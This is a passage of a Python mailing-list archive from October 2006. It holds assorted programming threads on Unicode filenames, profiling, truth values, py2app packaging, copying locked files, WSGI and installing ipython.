	<4ohufoFem6rpU1@uni-berlin.de>	<mailman.1271.1159974049.10491.python-list@python.org>
	<45241B66.7050205@v.loewis.de>
Message-ID: <45241DB6.3060500@pythonware.com>

Martin v. L?wis wrote:

> Yes. While you can pass Unicode strings as file names to many Python
> functions, you can't pass them to Expat, as Expat requires the file name
> as a byte string. Hence the error.

sounds like a bug in the xml.sax layer, really (ET also uses Expat, and 
doesn't seem to have any problems dealing with unicode filenames...)

</F>



From yellowalienbaby at gmail.com  Wed Oct 18 18:30:07 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 18 Oct 2006 15:30:07 -0700
Subject: Getting method name from within the class method
In-Reply-To: <mailman.723.1161209498.11739.python-list@python.org>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
	<mailman.723.1161209498.11739.python-list@python.org>
Message-ID: <1161210607.901928.26430@e3g2000cwe.googlegroups.com>


Gabriel Genellina wrote:
> At Wednesday 18/10/2006 18:59, Mitko Haralanov wrote:
>
> > > >>> class test(object):
> > > ...  def a_method(self,this,that):
> > > ...   print self.a_method.__name__
> >
> >Doing the above will obviously work!
> >
> >However, I don't want to have to use the name of the function in the
> >print statement (the ".a_method." part). Imagine having about 100 of
> >the above print statements in the function and then you change the name
> >of the function. I want all 100 of the print statements to work without
> >having to change every one of them to reflect the new function name.
>
> Use the inspect module.
>
>
> --
> Gabriel Genellina
> Softlab SRL
>
>

I'm sure the OP has good reasons, and I dont want to be arguing with
anyone, but I am curious. If I found myself in a similar situation I
wouldn't try to include code in whatever I'm  writing that simply aids
my writing of the code; it's irrelevant to the application and in my
mind, shouldn't be there. its probably only a tiny bit of extra
resource etc.. included into the app's use of resources and hence not
really so important, but I would feel happier with my end code if I
hadn't done such a thing.



From sachinpunjabi at gmail.com  Mon Oct 30 04:27:22 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 01:27:22 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162194460.969908.154340@h48g2000cwc.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194460.969908.154340@h48g2000cwc.googlegroups.com>
Message-ID: <1162200442.661146.26220@m7g2000cwm.googlegroups.com>



On Oct 30, 12:47 pm, "thebjorn" <BjornSteinarFjeldPetter... at gmail.com>
wrote:
> Sachin Punjabi wrote:
> > I wanted to read a file encoded in utf-8 and and using the following
> > syntax in my source which throws me an error specifying Lookuperror :
> > unknown encoding : utf-8. Also I am working on Python version 2.4.1.You shouldn't have to do anything to have the utf-8 encoding available.
> Check in your lib/encodings directory for a file name utf_8.py and the
> code in __init__.py in the same directory should take care of the
> mapping. This has been this way since at least Python 2.2 (which is the
> oldest version I have on this machine).
>
> If that doesn't give you a clue as to what is going on in your setup,
> try
>
>   u'foo'.encode('utf-8')
>
> at the prompt and post the complete traceback.
>
> > import codecs
> > fileObj = codecs.open( "data.txt", "r", "utf-8" )That should work fine, although I prefer to explicitly set the mode to
> "rb" (it will be set to binary mode behind your back regardless ;-)
>
> hth,
> -- bjorn

I tried with the code you specified on the command line and it works
very much fine.

Python 2.4.4 (#71, Oct 18 2006, 08:34:43) [MSC v.1310 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> u'foo'.encode('utf-8')
'foo'
>>>

Sachin.



From monuindia at gmail.com  Tue Oct 10 13:59:59 2006
From: monuindia at gmail.com (Monu)
Date: 10 Oct 2006 10:59:59 -0700
Subject: problem with hot shot stats
Message-ID: <1160503199.286071.57800@h48g2000cwc.googlegroups.com>

HI All,
I am getting problem in using hotshot profiler.
When I hotshot with lineevents=0, it works fine,
but when I use lineevents=1, I get error in stats

here is my code:

             import hotshot, hotshot.stats
             prof = hotshot.Profile("test.prof",lineevents=1)
             prof.start()
             main()
             prof.stop()
             prof.close()
             stats = hotshot.stats.load("test.prof")
             stats.strip_dirs()
             stats.sort_stats('time', 'calls')
             stats.print_stats(20)

I get following error:
  File "test.py", line 1371, in benchmark
    stats = hotshot.stats.load("test.prof")
  File "/usr/lib64/python2.4/hotshot/stats.py", line 12, in load
    return StatsLoader(filename).load()
  File "/usr/lib64/python2.4/hotshot/stats.py", line 29, in load
    for event in log:
  File "/usr/lib64/python2.4/hotshot/log.py", line 113, in next
    filename, firstlineno, funcname = self._stack[-1]
IndexError: list index out of range

Can anybody help to figure out the problem please?



From steve at holdenweb.com  Tue Oct 24 19:54:26 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 00:54:26 +0100
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161730515.244084.9310@m73g2000cwd.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>	<453D4BC4.9080100@v.loewis.de>	<1161649124.962144.127140@e3g2000cwe.googlegroups.com>	<453E4D95.7080204@v.loewis.de>
	<1161730515.244084.9310@m73g2000cwd.googlegroups.com>
Message-ID: <ehm91f$n9k$1@sea.gmane.org>

sturlamolden wrote:
[...]
> This was an extremely stupid question on my side.

I take my hat off to anyone who's prepared to admit this. We all do it, 
but most of us try to ignore the fact.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From george.sakkis at gmail.com  Wed Oct 25 18:28:25 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 25 Oct 2006 15:28:25 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<mailman.1193.1161803695.11739.python-list@python.org>
	<453FBF9C.6010002@v.loewis.de>
Message-ID: <1161815305.519731.272900@b28g2000cwb.googlegroups.com>

Martin v. L?wis wrote:

> skip at pobox.com schrieb:
> > the string class's "nil" value.  Each of the builtin types has such an
> > "empty" or "nil" value:
> >
> >     string              ""
> >     list                []
> >     tuple               ()
> >     dict                {}
> >     int                 0
> >     float               0.0
> >     complex             0j
> >     set                 set()
> >
> > Any other value besides the above will compare as "not false".
>
> This list of values that are considered false is incomplete,
> though. Four obvious omissions are
>
> long       0L
> unicode    u""
> bool       False
> NoneType   None
>
> Not-so-obviously, arbitrary user-defined values can also be
> treated as false: If they implement __nonzero__, they are
> false if False is returned from __nonzero__; otherwise,
> if they implement __len__, they are false if 0 is returned
> from __len__. Under these rules, array.array objects can
> also be false, as can UserList and UserDict objects.

A notable exception are numarray arrays (probably true for numpy too, I
haven't tested it though):

>>> from numarray import array
>>> bool(array([1,2]))
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
RuntimeError: An array doesn't make sense as a truth value.  Use any(a)
or all(a).

George



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Fri Oct 27 11:52:53 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Fri, 27 Oct 2006 17:52:53 +0200
Subject: Telnetlib to twisted
References: <mailman.1366.1161963624.11739.python-list@python.org>
Message-ID: <4qeoalFmlkv3U2@individual.net>

Matthew Warren wrote:

> Could anyone show how the above would be written using the twisted
> framework? All I'm after is a more 'intelligent' interactive
> telnet session (handles 'vi' etc..) rather than the full
> capabilities of the twisted framework.

Not done this until now, but have a look at twisted.conch.telnet.
 
> This email is confidential and may be privileged. If you are not
> the intended recipient please notify the sender immediately and
> delete the email from your computer.

Am I the inteded recipient? I'm not listed in the headers.

Regards,


Bj?rn

-- 
BOFH excuse #439:

Hot Java has gone cold



From gagsl-py at yahoo.com.ar  Fri Oct 27 19:43:34 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 20:43:34 -0300
Subject: What is the cleanest way to for a module to access objects
	from the script that imports it?
In-Reply-To: <1161989298.748298.143190@e3g2000cwe.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
	<mailman.1378.1161988147.11739.python-list@python.org>
	<1161989298.748298.143190@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061027202632.04549e40@yahoo.com.ar>

At Friday 27/10/2006 19:48, noamsml at gmail.com wrote:

>Wouldn't importing and re-importing the same modules cause considerable
>resource bulk? Or does python cache that stuff?

No. Once a module is imported by the first time, the module object is 
placed in sys.modules; if a subsequent import finds the module there, 
it's not reloaded from disk.
See <http://docs.python.org/ref/import.html>


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From bignose+hates-spam at benfinney.id.au  Thu Oct  5 19:09:17 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 06 Oct 2006 09:09:17 +1000
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
Message-ID: <87vemycqci.fsf@benfinney.id.au>

"Ilias Lazaridis" <ilias at lazaridis.com> writes:

> I admit it is difficult to detect that this post is in-topic.
> But it is.

Really, it's not. If you want a voice, you already have your
website. Mailing lists and other discussion forums have conventions
about "topic" for a good reason.

> http://case.lazaridis.com/wiki/Host
> http://case.lazaridis.com/wiki/License
> http://case.lazaridis.com/wiki/Copyright
>
> I should have posted them immediately.

No, you should have found a forum where you know that the topic is
appropriate -- even if that restricts it to your own website.

-- 
 \          "In general my children refuse to eat anything that hasn't |
  `\                           danced on television."  -- Erma Bombeck |
_o__)                                                                  |
Ben Finney



From dave.opstad at monotypeimaging.com  Wed Oct  4 10:56:12 2006
From: dave.opstad at monotypeimaging.com (Dave Opstad)
Date: Wed, 04 Oct 2006 07:56:12 -0700
Subject: py2app semi-standalone semi-works
References: <ulMUg.13149$7I1.6975@newssvr27.news.prodigy.net>
Message-ID: <dave.opstad-125998.07561204102006@reader0901.news.uu.net>

In article <ulMUg.13149$7I1.6975 at newssvr27.news.prodigy.net>,
 James Stroud <jstroud at mbi.ucla.edu> wrote:

> I am trying to create a semi-standalone with the vendor python on OS X 
> 10.4 (python 2.3.5). I tried to include some packages with both 
> --packages from the command and the 'packages' option in setup.py. While 
> the packages were nicely included in the application bundle in both 
> cases (at Contents/Resources/lib/python2.3/), they were not found by 
> python when the program was launched, giving the error:
> 
>      "ImportError: No module named [whatever module]"
> 
> Is this because semi-standalone is semi-broken or is it because I have 
> semi-omitted something?
> 
> Any advice on resolving this issue would be greatly appreciated and 
> would greatly reduce the size of the download.

You might want to have a setup.cfg file in addition to the setup.py 
file. I've found that helps ensure the relevant packages and includes 
make it into the bundled application.

For example, say you have a package named fred and also a separate 
module named george that are needed for your app. Your setup.cfg could 
look like this:

#
# setup.cfg
#

[py2app]
packages=fred
includes=george

You can also have a section for [py2exe] if needed; that way, if there 
are modules that your Windows build needs that the Mac build doesn't (or 
vice versa), you can just include them where needed.

Dave


From nick at craig-wood.com  Sat Oct 14 04:30:05 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Sat, 14 Oct 2006 03:30:05 -0500
Subject: Thread termination
References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
	<mailman.497.1160806083.11739.python-list@python.org>
Message-ID: <slrnej17pg.lsn.nick@irishsea.home.craig-wood.com>

Hendrik van Rooyen <mail at microcorp.co.za> wrote:
>  can't be done from outside without co operation of thread in question.
>  google this newsgroup

Hopefully google will discover also the thread where the above statement is
proved to be false ;-)

This might be a useful thing to search for...

ctypes.pythonapi.PyThreadState_SetAsyncExc

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From bignose+hates-spam at benfinney.id.au  Wed Oct 11 23:50:40 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 12 Oct 2006 13:50:40 +1000
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<mailman.344.1160618838.11739.python-list@python.org>
	<1160622492.360486.207270@m73g2000cwd.googlegroups.com>
Message-ID: <87d58y42gf.fsf@benfinney.id.au>

"Ilias Lazaridis" <ilias at lazaridis.com> writes:

> Terrible this open source folks.
> One cannot say one word without beeing asked to contribute.

+1 QOTW, in a new category for kooks.

-- 
 \      "Say what you will about the Ten Commandments, you must always |
  `\         come back to the pleasant fact that there are only ten of |
_o__)                                      them."  -- Henry L. Mencken |
Ben Finney



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 19:45:06 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 09:45:06 +1000
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<7xac3kb6do.fsf@ruckus.brouhaha.com>
	<9%N%g.44157$Q82.23067@newsfe15.phx>
Message-ID: <878xj4m03h.fsf@benfinney.id.au>

Farshid Lashkari <no at spam.com> writes:

> Paul Rubin wrote:
> > I like
> > 
> >     if dlg.ShowModal() == wx.ID_OK:
> >          db_name = dlg.GetValue()
> >     else:
> >          db_name = None
> >     dlg.Destroy()
> >     return db_name
> > 
> > better than
> > 
> >     db_name = None
> >     if dlg.ShowModal() == wx.ID_OK:
> >          db_name = dlg.GetValue()
> >     dlg.Destroy()
> >     return db_name
> > 
> > but I suppose it's a matter of preference.
>
> Yeah, I think the second way is usually used by people who are more
> accustomed to programming in C, since they need to initialize
> variables.  Your way is probably more Pythonic though.

I prefer an unconditional setting of the default value it because it's
more explicit. You can immediately see that db_name will *always* have
a known value, rather than trying to traverse the logic to find the
default. The quicker I can communicate the flow of the function, the
better.

-- 
 \       "From the moment I picked your book up until I laid it down I |
  `\    was convulsed with laughter. Someday I intend reading it."  -- |
_o__)                                                     Groucho Marx |
Ben Finney



From kay.schluehr at gmx.net  Wed Oct 11 11:51:38 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 11 Oct 2006 08:51:38 -0700
Subject: Python component model
In-Reply-To: <1160575172.300208.82370@i42g2000cwa.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160570340.981862.212380@c28g2000cwb.googlegroups.com>
	<mailman.314.1160573195.11739.python-list@python.org>
	<1160575172.300208.82370@i42g2000cwa.googlegroups.com>
Message-ID: <1160581898.505638.112910@b28g2000cwb.googlegroups.com>

Paul Boddie wrote:

> I've never maintained that a monopoly on how Web programming is done
> would be a good thing. All I've ever tried to understand is why people
> haven't tried to improve the generic support for Web programming (and a
> whole load of other things) even to the level of something like the
> DB-API. Take another area: all the time you get people asking how they
> can conveniently access some Web site using a Python-based client, and
> loads of people are coming up against issues with urllib, urllib2,
> other libraries. Wouldn't it be good if the functionality were just
> there in the standard library in a sane form? Or is the standard
> library just a "grab bag" of demos these days?

Paul, I do think the focus on the stdlib as it is right now is a bit
misleading. The stdlib is basically the product of python-dev and the
runtime developers also have maintenance responsibility. This shall and
even must be splitted and shared as it is done successfully with
application domains like Scientific Python. If an enterprise grows no
one expects that one department is responsible for everything but here
in the Python community Guido shall play Fidel Castro who cares for
each module of each application developer ever written and its
suitability for the stdlib and its alignment with the Python ideology.
In my opinion Python shall grow up and organize the visibility of its
products, its "portfolio", differently with Py3K. I agree with Fredrik
that any decision towards a BDFL blessed webframework is premature and
Guido already showed himself not much interest in making any decision.
Even if all kinds of components are available in the stdlib people are
still looking for a RoR for Python and they do so not only for
technical reasons but because they need a brand that can be justifed
towards their team mates and project leaders. 

Kay



From cjw at sympatico.ca  Tue Oct 24 17:47:56 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Tue, 24 Oct 2006 17:47:56 -0400
Subject: Getting a lot of SPAM from this list
In-Reply-To: <17726.7792.807568.497224@montanaro.dyndns.org>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>	<17725.8236.397367.923534@montanaro.dyndns.org>	<ehl5mp$n7$1@sea.gmane.org>
	<17726.7792.807568.497224@montanaro.dyndns.org>
Message-ID: <ehm1md$uif$1@sea.gmane.org>

skip at pobox.com wrote:
>     >> Get a better spam filter?
> 
>     Colin> Any suggestions for Firefox?
> 
> You can try SpamBayes (http://www.spambayes.org/).  It has both POP3 and
> IMAP filters that sit between your mail client and mail server.  You control
> and train them via a local web interface.
> 
> Skip
> 
Thanks, I'll try it.

Colin W.



From fredrik at pythonware.com  Tue Oct 24 11:16:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 17:16:06 +0200
Subject: The format of filename
In-Reply-To: <slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
Message-ID: <ehlanl$q3v$1@sea.gmane.org>

Neil Cerutti wrote:

> Is translation of '/' to '\\' a feature of Windows or Python?

Windows.  Random MSDN link:

     http://msdn2.microsoft.com/en-us/library/77859s1t.aspx

     Win32 operating systems support both the backslash (\) and
     the forward slash (/). /.../ (However, the Windows operating
     system command shell, CMD.EXE, does not support the forward
     slash in commands entered at the command prompt.)

for general file naming guidelines for Windows (including the shell), see:

     http://msdn.microsoft.com/library/en-us/fileio/fs/naming_a_file.asp

</F>



From ericlake at gmail.com  Thu Oct 19 12:39:44 2006
From: ericlake at gmail.com (elake)
Date: 19 Oct 2006 09:39:44 -0700
Subject: Determining if a file is locked in Windows
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
	<ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
	<1161269072.312305.297430@m73g2000cwd.googlegroups.com>
	<1161270680.303152.75200@e3g2000cwe.googlegroups.com>
Message-ID: <1161275984.328390.94220@i42g2000cwa.googlegroups.com>


MatthewWarren wrote:
> elake wrote:
> > Larry Bates wrote:
> > > elake wrote:
> > > > I found this thread about a pst file in Windows being locked and I am
> > > > having the same issue.
> > > >
> >
> > > > http://groups.google.com/group/comp.lang.python/browse_thread/thread/d3dee5550b6d3652/ed00977acf62484f?lnk=gst&q=%27copying+locked+files%27&rnum=1
> > > >
> > > > The problem is that I have a script that can find the pst files on
> > > > every machine in my network and back them up to a server for safe
> > > > keeping. The problem is that when Outlook is running it locks the file
> > > > and will not allow me to copy it to the destination. I am using the
> > > > shutil module for the copy.
> > > >
> > > > Is there a way to first determine if the file is locked and then do the
> > > > copy if it isn't? I thought about looking to see if Outlook.exe is
> > > > running but the machines are shared and the process could be running
> > > > but with a different pst file in use.
> > > >
> > > > Thanks in advance
> > > >
> > > Try the copy and catch the exception instead.
> > >
> > > -Larry Bates
> >
> > Larry thanks for your suggestion. this is what I tried:
> >
> > #!/usr/bin/env python
> >
> > import os, shutil
> >
> > path = 'c:\documents and settings\username\Local Settings\Application
> > Data\Microsoft\Outlook'
> >
> > src = 'Outlook.pst'
> > dst = 'test.pst'
> >
> > os.chdir(path)
> >
> > try:
> >     shutil.copy2(src, dst)
> > except IOError:
> >     print 'Must be locked by Outlook'
> >
> > print 'Finished'
> >
> > The problem is that even though I catch the IOError it overwrites the
> > dst file and makes it 0kb. This is going to be for backing these files
> > up and it wont be good to overwrite the backup with a bad copy.
> >
> > Is there another way to do this that I am missing. I am still kind of
> > new to Python. If i could tell that outlook had the file locked before
> > I tried the copy then I think that it would be prevented.
>
> maybe try and open the file for reading first, then if it opens ok,
> just close it and do the copy?

I tried to do that and it did let me open it without an error. Here is
what I have done now and it seems work.

def copyFile(src, dst):
    if os.path.isfile(dst):
        shutil.copy2(dst, dst_bak)
        try:
            shutil.copy2(src, dst)
        except IOError:
            if os.path.isfile(dst_bak):
                shutil.copy2(dst_bak, dst)
                os.remove(dst_bak)
    else:
        try:
            shutil.copy2(src, dst)
        except IOError:
            if os.path.isfile(dst_bak):
                shutil.copy2(dst_bak, dst)

It check to see if the dst file is there first and them makes a backup
of it first. That way if the copy goes bad then there is still a backup
of it. Do you see anywhere that I could have done  this
better/differently?



From ptmcg at austin.rr._bogus_.com  Thu Oct 12 09:49:12 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 12 Oct 2006 13:49:12 GMT
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
Message-ID: <sJrXg.46560$DU3.23285@tornado.texas.rr.com>

<idknow at gmail.com> wrote in message 
news:1160652722.908731.213650 at i42g2000cwa.googlegroups.com...
> Paul McGuire wrote:
>> <idknow at gmail.com> wrote in message
>> news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com...
>> > [snip]
>> >
>> > no sort() is needed to calculate the median of a list.
>> >
>> > you just need one temp var.
>> >
>>
>> Ok, I'll bite.  How do you compute the median of a list using just a 
>> single
>> temp var?
>>
>> -- Paul
>
> hi Paul; well when this was a stats-class assignment (back when pascal
> was popular :) i just stepped through the vector and compared it
>
> (pseudo-code)
>
> ptr p = [with values].
>
> fun median {
> var x = 0.
>  while( *p++) {
>    if( (*p) > x) x = *p.
>  }
>  return x.
> }
>
> of course, pascal is more verbose but that's median()
>

No, that's the maximum.  The median value is the value that is in the middle 
of the list when the list is sorted.  Many analyses prefer median to mean 
(also known as "average") because the median is less sensitive to wild 
outlier points.

My original question was in response to your post, that sort() wasn't 
required but only a temp variable.  I am very interested in seeing your 
solution that does not require the data to be sorted.  (This is not just an 
academic exercise - given a large historical data set, sorting the data is 
one of the costliest parts of computing the median, and I would greatly 
appreciate seeing an alternative algorithm.)

-- Paul 




From snaury at gmail.com  Wed Oct 25 17:03:22 2006
From: snaury at gmail.com (Alexey Borzenkov)
Date: 25 Oct 2006 14:03:22 -0700
Subject: chained attrgetter
In-Reply-To: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
References: <1161799222.831277.154340@e3g2000cwe.googlegroups.com>
Message-ID: <1161810201.975665.269470@h48g2000cwc.googlegroups.com>

On Oct 25, 10:00 pm, "David S." <davidsch... at alumni.tufts.edu> wrote:
> Does something like operator.getattr exist to perform a chained attr
> lookup?

Do you mean something like

class cattrgetter:
    def __init__(self, name):
        self.names = name.split('.')
    def __call__(self, obj):
        for name in self.names:
            obj = getattr(obj, name)
        return obj

?



From calmasy at gmail.com  Sat Oct 14 18:14:05 2006
From: calmasy at gmail.com (=?ISO-8859-1?Q?Count_L=E1szl=F3_de_Alm=E1sy?=)
Date: Sat, 14 Oct 2006 16:14:05 -0600
Subject: optparse: add trailing text in help message?
In-Reply-To: <abb783b90610131009q900be86k470bb27caa5989ac@mail.gmail.com>
References: <abb783b90610131009q900be86k470bb27caa5989ac@mail.gmail.com>
Message-ID: <abb783b90610141514q3236c910i6a6f41dc30f91a35@mail.gmail.com>

Thanks for the help, all.  Somone pointed out the 'epilogue' attribute
to OptionParser that is new in Python 2.5, which does exactly what I
am looking for.  I did read the optparse docs for 2.5 fully before
posting this question, and now that I've taken a second look, I see
that epilog is NOT DOCUMENTED, except for in optparse.py itself.
Hopefully this will be fixed by the Python team.


From onurb at xiludom.gro  Mon Oct  9 06:19:31 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 12:19:31 +0200
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <mailman.70.1160336094.11739.python-list@python.org>
References: <mailman.70.1160336094.11739.python-list@python.org>
Message-ID: <452a2233$0$21874$426a74cc@news.free.fr>

Gregory Pi?ero wrote:
> So I keep hearing more and more about this WSGI stuff, and honestly I
> still don't understand what it is exactly

A protocol for web servers/python programs interaction. Just like CGI is
a protocol for web servers/whatever-language programs interactions.

Gregory, you'll find answers to most (if not all) of your questions in
the availables articles/tutorials on WSGI. You should really read them
first. FWIW, going from "what's this stuff" to "run my first WSGI app"
took me a couple hours. And porting your CGI apps to WSGI should be a
no-brainer.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From robert.kern at gmail.com  Tue Oct 17 17:40:27 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 17 Oct 2006 16:40:27 -0500
Subject: pylab package dependencies
In-Reply-To: <pecora-CA311D.16224417102006@ra.nrl.navy.mil>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>	<mailman.604.1161057667.11739.python-list@python.org>	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>	<mailman.650.1161106780.11739.python-list@python.org>	<pecora-B5F159.14242617102006@ra.nrl.navy.mil>	<mailman.654.1161110013.11739.python-list@python.org>
	<pecora-CA311D.16224417102006@ra.nrl.navy.mil>
Message-ID: <eh3ikd$qj6$1@sea.gmane.org>

Lou Pecora wrote:
> In article <mailman.654.1161110013.11739.python-list at python.org>,
>  Robert Kern <robert.kern at gmail.com> wrote:
> 
>> Lou Pecora wrote:
>>
>>> The only problem I'm having is getting ipython to run.  Not installed in 
>>> /usr/local/bin (although all other IPython files look to be installed in 
>>> /Library/Framewaorks/python..blah/site-packages).  I'm still searching 
>>> the web sites for answers.
>> Create a file ~/.pydistutils.cfg with the following section (unindented):
>>
>>    [install]
>>    install-scripts=/usr/local/bin
>>
>> Now install ipython again, and the ipython script should be installed to 
>> /usr/local/bin/. You may need to be root to do so.
>>
>> For more information on that configuration file:
>>
>>    http://docs.python.org/inst/config-syntax.html
> 
> I assume you are telling me to install ipython from a tar distribution 
> using setup etc.  I originally installed it from the SciPy Super Pack 
> which apparently put in the site packages, but neglected the script in 
> /usr/local/bin.  Sound right?

Indeed. The SuperPack is broken and does not contain the ipython script. It also 
puts the documentation in the wrong place.

ipython is a pure-Python package and easy to install from source.

> On the ipython web site for MacOS X it says to do the following after 
> the install using python setup.py etc. in the extracted directories,
> 
> python?setup.py?install_scripts?--install-dir=/usr/local/bin
> 
> Is that what you are suggesting with the pydistutils.cfg ?  

Yes, it does the same thing, only it will apply to all packages (probably what 
you want) and you only have to do it once instead of remembering to do it every 
time.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From antoine at vo.lu  Wed Oct 11 09:53:56 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Wed, 11 Oct 2006 15:53:56 +0200
Subject: Experiences with Py2Exe
In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com>
Message-ID: <452cf765$1@news.vo.lu>

Isaac Rodriguez wrote:
> Hi,
> 
> I am looking for feedback from people that has used or still uses
> Py2Exe. I love to program in python, and I would like to use it to
> write support tools for our development team, but I cannot require
> everyone to install python in their machines, so I was thinking that
> Py2Exe would help on that.
> 
> The support tools I write are mostly command line driven (no GUI), but
> in the future, I would like to write some expert applications that will
> contain GUI. I was thinking on using wxPython for the GUI, so I was
> wondering how well behaves Py2Exe with the wxPython module.
> 

I did a project with wxPython and py2exe. Just great :-) I also used 
Inno Setup (http://www.jrsoftware.org/isinfo.php) to create an 
installer. You should be able to learn/use both in one day.

> Other modules I use besides the standard modules are CTypes and the
> Perforce python module p4.py. I try not to use any of the win32 stuff,
> but I can see how I will have to for some utilitites, so if anyone has
> experience with the win32 modules and Py2Exe, any feedback will be
> highly appreciated.
> 
> Thanks,
> 
> Isaac.
> 


From alistair.king at helsinki.fi  Tue Oct 31 04:46:14 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Tue, 31 Oct 2006 11:46:14 +0200
Subject: create global variables?
In-Reply-To: <ei732n$2hg$1@sea.gmane.org>
References: <1162275890.4546ec32cd351@www2.helsinki.fi>
	<ei732n$2hg$1@sea.gmane.org>
Message-ID: <45471B66.9060702@helsinki.fi>

Steve Holden wrote:
> aking at mappi.helsinki.fi wrote:
>   
>> J. Clifford Dyer wrote:
>>
>>     
>>> Alistair King wrote:
>>>       
>
> [... advice and help ...]
>
>   
>> this worked a treat:
>>
>> def monoVarcalc(atom):
>>
>>    a = atom + 'aa'
>>    Xaa = a.strip('\'')
>>    m = atom + 'ma'
>>    Xma = m.strip('\'')
>>    Xaa = DS1v.get(atom)
>>    Xma = pt.get(atom)
>>    return Xaa, Xma
>>
>>
>> Caa, Cma = monoVarcalc('C')
>>
>>     
> In which case I suspect you will find that this works just as well:
>
> def monoVarcalc(atom):
>
>     Xaa = DS1v.get(atom)
>     Xma = pt.get(atom)
>     return Xaa, Xma
>
>
> Unless there is something decidedly odd about the side-effects of the 
> statements I've removed, since you never appear to use the values of a, 
> m, Xaa and Xma there seems little point in calculation them.
>
> regards
>   Steve
>   
Yup...it works..but now i have to create a dictionary of 'a' and 'm',
ie... "Xaa" and "Xma" string, key:value pairs so i can use other
functions on the Xaa, Xma variables by iterating over them and
retrieving the values from the variables. I think if i just input Xaa
and Xma, only the values associated with those variables will go into
the dictionary and ill just be iterating over nonsence.....

atomsmasses = {}

def monoVarcalc(atom):
